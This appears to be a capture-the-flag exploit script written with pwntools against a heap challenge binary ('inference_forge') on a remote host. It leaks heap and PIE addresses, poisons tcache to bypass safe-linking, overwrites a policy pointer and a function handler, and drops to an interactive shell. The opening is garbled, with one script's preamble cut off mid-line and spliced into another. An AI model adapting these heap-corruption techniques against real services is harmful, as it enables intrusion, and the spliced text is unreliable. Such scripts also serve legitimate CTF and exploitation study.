1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
| from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']
debug = 1
file = './pwn_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')
libcoffsetdict = dict()
libcrealdict = dict()
def libcdict_add(name, addr):
if addr > 0x1000000:
libcrealdict[name] = addr
addr %= 0x1000
libcoffsetdict[name] = addr
def getlibc():
global libc
if not debug:
libc = ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))
def initlibc():
if not debug:
subprocess.run(['cp', libc.path, './libc.so.6'])
subprocess.run(['pwninit', '--no-template'])
target = '60.205.163.215'from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']
debug = 1
file = './inference_forge_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')
target = '60.205.163.215'
port = 13774
if debug:
p = process(file)
else:
p = remote(target, port)
io = p
def dbg(cmd = ''):
if debug:
gdb.attach(p, gdbscript = cmd)
s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))
def safe_linking(pos, val):
return (pos >> 12) ^ val
def bootstrap_scheduler():
sla(b'gateway> ', b'3')
def inspect_scheduler_queue():
sla(b'gateway> ', b'4')
def allocate_session_tensor(slot, tensor_bytes, alias):
sla(b'gateway> ', b'5')
sla(b'session.slot(0-15)> ', str(slot).encode())
sla(b'session.tensor_bytes> ', str(tensor_bytes).encode())
sla(b'session.alias> ', alias)
def complete_batch_inference(slot):
sla(b'gateway> ', b'6')
sla(b'session.slot> ', str(slot).encode())
def patch_session_metadata(slot, qword_index, qword_value):
sla(b'gateway> ', b'7')
sla(b'diag.session.slot> ', str(slot).encode())
sla(b'diag.qword_index> ', str(qword_index).encode())
sla(b'diag.qword_value(u64)> ', str(qword_value).encode())
def provision_worker_profile(cpu_quota, mem_quota, io_weight, latency_slo, replicas, region_code, memo):
sla(b'gateway> ', b'8')
sla(b'worker.cpu_quota> ', str(cpu_quota).encode())
sla(b'worker.mem_quota> ', str(mem_quota).encode())
sla(b'worker.io_weight> ', str(io_weight).encode())
sla(b'worker.latency_slo> ', str(latency_slo).encode())
sla(b'worker.replicas> ', str(replicas).encode())
sla(b'worker.region_code> ', str(region_code).encode())
sla(b'worker.memo> ', memo)
def dispatch_async_task(task_id):
sla(b'gateway> ', b'9')
sla(b'queue.task_id> ', str(task_id).encode())
bootstrap_scheduler() # leak
inspect_scheduler_queue()
ru(b'[task:0] desc=')
heap_leak = int(r(14), 16) - 0x30560
leak('heap_leak')
ru(b'handler=')
pie_leak = int(r(14), 16) - 0x30a0
leak('pie_leak')
allocate_session_tensor(0, 3, p64(0)) # init
allocate_session_tensor(1, 3, p64(0))
allocate_session_tensor(2, 3, p64(0))
allocate_session_tensor(3, 3, p64(0))
allocate_session_tensor(4, 3, p64(0))
complete_batch_inference(1)
complete_batch_inference(2)
complete_batch_inference(3)
complete_batch_inference(4)
complete_batch_inference(0) # tcache poisoning, hijack strict_policy
patch_session_metadata(0, 0, safe_linking(heap_leak + 0x30860, heap_leak + 0xb0))
allocate_session_tensor(0, 3, p64(0))
provision_worker_profile(heap_leak + 0x30510, 0, 0, 0, 0, 0, p64(0))
provision_worker_profile(0, 0, 0, 0, 0, 0, p64(0))
inspect_scheduler_queue()
complete_batch_inference(0) # tcache poisoning, hijack handler
patch_session_metadata(0, 0, safe_linking(heap_leak + 0x30860, heap_leak + 0xb0))
allocate_session_tensor(0, 3, p64(0))
provision_worker_profile(heap_leak + 0x30560, 0, 0, 0, 0, 0, p64(0))
provision_worker_profile(0, 0, 0, pie_leak + 0x6750, 0, 0, p64(0))
inspect_scheduler_queue()
dispatch_async_task(0)
itr()
|